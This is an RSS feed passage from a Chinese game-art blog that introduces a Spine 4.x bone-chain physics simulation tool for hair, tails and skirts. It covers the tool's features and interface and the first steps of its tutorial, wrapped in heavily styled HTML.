<?xml version="1.0" encoding="utf-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><title>GAMESH</title><link>https://pylblog.com/</link><description>剧情党，完美控！</description><item><title>Spine 2D飘带计算工具|骨骼跟随工具</title><link>https://pylblog.com/post/270.html</link><description>&lt;h1 style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; font-family: ui-sans-serif, system-ui, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;, &amp;quot;Noto Color Emoji&amp;quot;; font-size: 16px; font-weight: 400; line-height: 24px; text-wrap-mode: wrap; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;Spine 骨骼跟随工具介绍与使用教程&lt;/h1&gt;&lt;h2 style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; font-family: ui-sans-serif, system-ui, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;, &amp;quot;Noto Color Emoji&amp;quot;; font-size: 16px; font-weight: 400; line-height: 24px; text-wrap-mode: wrap; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;一、工具介绍&lt;/h2&gt;&lt;h3 style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; font-family: ui-sans-serif, system-ui, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;, &amp;quot;Noto Color Emoji&amp;quot;; font-size: 16px; font-weight: 400; line-height: 24px; text-wrap-mode: wrap; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;1. 工具定位&lt;/h3&gt;&lt;div style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; font-family: ui-sans-serif, system-ui, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;, &amp;quot;Noto Color Emoji&amp;quot;; font-size: 16px; line-height: 24px; text-wrap-mode: wrap; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;该工具是一款面向 Spine 4.x 版本的可视化骨骼链物理跟随（Spring Magic）模拟工具，核心用于为 2D 骨骼动画中的头发、尾巴、裙摆、丝带等骨骼链添加自然的物理摆动效果，并可导出包含模拟后关键帧的 Spine JSON 文件。工具内置 Spring 物理算法，支持多骨骼链管理、实时预览、参数自定义及关键帧精简，大幅降低手动制作物理摆动动画的成本。&lt;/div&gt;&lt;h3 style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; font-family: ui-sans-serif, system-ui, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;, &amp;quot;Noto Color Emoji&amp;quot;; font-size: 16px; font-weight: 400; line-height: 24px; text-wrap-mode: wrap; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;2. 核心功能&lt;/h3&gt;&lt;ul style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; font-family: ui-sans-serif, system-ui, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;, &amp;quot;Noto Color Emoji&amp;quot;; font-size: 16px; line-height: 24px; text-wrap-mode: wrap; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; font-weight: 700; line-height: 24px; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;多骨骼链管理&lt;/span&gt;：可创建、编辑多条独立的骨骼链，分别配置物理参数；&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; font-weight: 700; line-height: 24px; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;物理参数自定义&lt;/span&gt;：支持硬度、摆幅、链衰减等核心物理参数调节，内置头发 / 尾巴 / 裙摆等预设；&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; font-weight: 700; line-height: 24px; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;实时预览&lt;/span&gt;：加载 Spine JSON 后可预览动画 + 物理跟随效果，支持纹理图集加载还原视觉效果；&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; font-weight: 700; line-height: 24px; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;批量模拟与导出&lt;/span&gt;：支持单链 / 全链模拟，模拟后自动精简冗余关键帧，可导出合并所有链效果的 JSON 文件；&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; font-weight: 700; line-height: 24px; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;版本适配&lt;/span&gt;：自动检测 Spine 3.x 文件并提示切换版本，保障关键帧格式兼容。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3 style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; font-family: ui-sans-serif, system-ui, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;, &amp;quot;Noto Color Emoji&amp;quot;; font-size: 16px; font-weight: 400; line-height: 24px; text-wrap-mode: wrap; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;3. 界面布局&lt;/h3&gt;&lt;div style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; font-family: ui-sans-serif, system-ui, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;, &amp;quot;Noto Color Emoji&amp;quot;; font-size: 16px; line-height: 24px; text-wrap-mode: wrap; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;工具界面分为三大区域：&lt;/div&gt;&lt;div style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; font-family: ui-sans-serif, system-ui, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;, &amp;quot;Noto Color Emoji&amp;quot;; font-size: 16px; line-height: 24px; text-wrap-mode: wrap; display: flex; flex: 0 1 auto; flex-direction: column; justify-content: normal; align-items: normal; padding: 0px; margin: 0px 0px 8px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;&lt;div style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; line-height: 24px; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;&lt;div style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; line-height: 24px; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px 0px 8px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;&lt;div style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; line-height: 24px; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;&lt;table&gt;&lt;thead style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; line-height: 24px; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;&lt;tr style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; line-height: 24px; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot; class=&quot;firstRow&quot;&gt;&lt;th style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; line-height: 24px; text-align: center; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);&quot;&gt;区域&lt;/th&gt;&lt;th style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; line-height: 24px; text-align: center; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);&quot;&gt;功能&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; line-height: 24px; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;&lt;tr style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; line-height: 24px; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;&lt;td style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; line-height: 24px; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;左侧面板&lt;/td&gt;&lt;td style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; line-height: 24px; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;骨骼链管理（加载 JSON、新建 / 编辑骨骼链）+ 骨骼层级树（选择骨骼组成链）&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; line-height: 24px; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;&lt;td style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; line-height: 24px; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;中间面板&lt;/td&gt;&lt;td style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; line-height: 24px; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;动画预览（播放 / 暂停、进度调节）+ 纹理加载 + 状态提示&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; line-height: 24px; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;&lt;td style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; line-height: 24px; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;右侧面板&lt;/td&gt;&lt;td style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; line-height: 24px; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;参数配置（物理预设、Spring 参数、模拟设置）+ 动画选择 + 模拟 / 导出&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; font-family: ui-sans-serif, system-ui, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;, &amp;quot;Noto Color Emoji&amp;quot;; font-size: 16px; font-weight: 400; line-height: 24px; text-wrap-mode: wrap; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;二、使用教程&lt;/h2&gt;&lt;h3 style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; font-family: ui-sans-serif, system-ui, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;, &amp;quot;Noto Color Emoji&amp;quot;; font-size: 16px; font-weight: 400; line-height: 24px; text-wrap-mode: wrap; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;前置准备&lt;/h3&gt;&lt;div style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; font-family: ui-sans-serif, system-ui, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;, &amp;quot;Noto Color Emoji&amp;quot;; font-size: 16px; line-height: 24px; text-wrap-mode: wrap; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;确保已准备好：&lt;/div&gt;&lt;ol style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; font-family: ui-sans-serif, system-ui, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;, &amp;quot;Noto Color Emoji&amp;quot;; font-size: 16px; line-height: 24px; text-wrap-mode: wrap; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;Spine 4.x 导出的骨骼动画 JSON 文件（若为 3.x 文件，工具会提示切换对应版本）；&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;（可选）动画对应的纹理图集（PNG 图片 + .atlas 文件），用于预览时显示纹理。&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3 style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; font-family: ui-sans-serif, system-ui, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;, &amp;quot;Noto Color Emoji&amp;quot;; font-size: 16px; font-weight: 400; line-height: 24px; text-wrap-mode: wrap; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;步骤 1：加载 Spine JSON 文件&lt;/h3&gt;&lt;ol style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; font-family: ui-sans-serif, system-ui, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;, &amp;quot;Noto Color Emoji&amp;quot;; font-size: 16px; line-height: 24px; text-wrap-mode: wrap; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;左侧面板找到「拖入 Spine JSON」区域，可直接拖拽 JSON 文件到该区域，或点击区域选择文件；&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;文件加载成功后，左侧会显示：&lt;/p&gt;&lt;/li&gt;&lt;ul style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; line-height: 24px; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;文件名及元信息（底部「finfo」区域）；&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;骨骼层级树（「骨骼层级」模块）；&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;「新建链」按钮变为可用状态；&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;p&gt;工具自动解析动画列表，右侧「选择要模拟的动画」区域会显示所有动画名称。&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3 style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: auto; font-optical-sizing: auto; font-feature-settings: normal; font-variation-settings: normal; font-variant-position: normal; font-variant-emoji: normal; font-stretch: normal; font-family: ui-sans-serif, system-ui, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;, &amp;quot;Segoe UI Symbol&amp;quot;, &amp;quot;Noto Color Emoji&amp;quot;; font-size: 16px; font-weight: 400; line-height: 24px; text-wrap-mode: wrap; flex: 0 1 auto; flex-direction: row; justify-content: normal; align-items: normal; padding: 0px; margin: 0px; background-image: none; background-position: 0% 0%; background-size: auto; background-repeat: repeat; background-attachment: scroll; background-origin: padding-box; background-clip: border-box;&quot;&gt;步骤 2：创建并编辑骨骼链&lt;/h3&gt;&lt;div style=&quot;font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; font-size-adjust: none; font-language-override: normal; font-kerning: 